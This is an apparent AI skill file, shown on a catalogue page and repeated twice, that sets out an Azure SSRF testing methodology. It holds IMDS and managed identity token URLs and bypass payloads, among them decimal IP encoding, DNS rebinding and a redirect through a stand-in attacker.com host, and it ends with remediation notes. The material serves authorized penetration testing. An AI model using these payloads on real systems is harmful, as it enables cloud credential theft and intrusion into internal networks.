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offensive-ssrf

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Actualizado21 de junio de 2026 a las 23:49

Server-Side Request Forgery (SSRF) testing skill with focus on Azure metadata services and internal network pivots. Covers discovery, bypass techniques, and Azure-specific exploitation (IMDS, Managed Identities).

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Fuente

openshield-org

openshield-org/openshield

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SKILL.md

readonly

name	offensive-ssrf
description	Server-Side Request Forgery (SSRF) testing skill with focus on Azure metadata services and internal network pivots. Covers discovery, bypass techniques, and Azure-specific exploitation (IMDS, Managed Identities).
domain	cybersecurity
subdomain	web-security
tags	["ssrf","azure","imds","metadata-service","web-security"]
version	1.0
author	openshield
license	Apache-2.0
nist_csf	["PR.AC-3","PR.AC-5","SC-7","PR.DS-1","DE.CM-1"]

Server-Side Request Forgery (SSRF) — Azure Offensive Methodology

When to Use

When testing web applications that fetch external URLs or process user-provided links.
When assessing cloud metadata exposure on Azure Virtual Machines or App Services.
When performing internal port scanning or service discovery from a compromised web entry point.
When validating WAF and network security group (NSG) effectiveness against egress request forgery.

Key Concepts

Term	Definition
IMDS	Instance Metadata Service, reachable at `169.254.169.254` in Azure
Blind SSRF	A vulnerability where the server makes a request but does not return the content to the attacker
DNS Rebinding	A technique to bypass IP filters by changing the DNS resolution of a domain mid-attack
Out-of-Band (OOB)	Using an external server (e.g., Burp Collaborator) to detect triggered requests

Detection & Exploitation

Azure Metadata Service (IMDS)

Azure's IMDS requires a specific header Metadata: true and an api-version to prevent simple SSRF.

# Accessing Azure Instance Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header required: Metadata: true

# Accessing Managed Identity Tokens
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Bypass Techniques

IP Encoding: http://2130706433/ (Decimal for 127.0.0.1)
DNS Rebinding: Using services like rbndr.us
Redirect Chains: http://attacker.com/redirect?url=http://127.0.0.1:8080

Remediation Reference

Allowlisting: Only allow requests to specific, trusted domains.
Egress Filtering: Use Azure Firewall or NSGs to restrict outbound traffic from web servers.
Metadata Protection: Ensure web applications do not have permissions to add or modify custom headers like Metadata: true.

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Server-Side Request Forgery (SSRF) — Azure Offensive Methodology

When to Use

When testing web applications that fetch external URLs or process user-provided links.

When assessing cloud metadata exposure on Azure Virtual Machines or App Services.

When performing internal port scanning or service discovery from a compromised web entry point.

When validating WAF and network security group (NSG) effectiveness against egress request forgery.

Key Concepts

Term

Definition

IMDS

Instance Metadata Service, reachable at 169.254.169.254 in Azure

Blind SSRF

A vulnerability where the server makes a request but does not return the content to the attacker

DNS Rebinding

A technique to bypass IP filters by changing the DNS resolution of a domain mid-attack

Out-of-Band (OOB)

Using an external server (e.g., Burp Collaborator) to detect triggered requests

Detection & Exploitation

Azure Metadata Service (IMDS)

Azure's IMDS requires a specific header Metadata: true and an api-version to prevent simple SSRF.

# Accessing Azure Instance Metadata http://169.254.169.254/metadata/instance?api-version=2021-02-01 # Header required: Metadata: true # Accessing Managed Identity Tokens http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/

Bypass Techniques

IP Encoding: http://2130706433/ (Decimal for 127.0.0.1)

DNS Rebinding: Using services like rbndr.us

Redirect Chains: http://attacker.com/redirect?url=http://127.0.0.1:8080

Remediation Reference

Allowlisting: Only allow requests to specific, trusted domains.

Egress Filtering: Use Azure Firewall or NSGs to restrict outbound traffic from web servers.

Metadata Protection: Ensure web applications do not have permissions to add or modify custom headers like Metadata: true.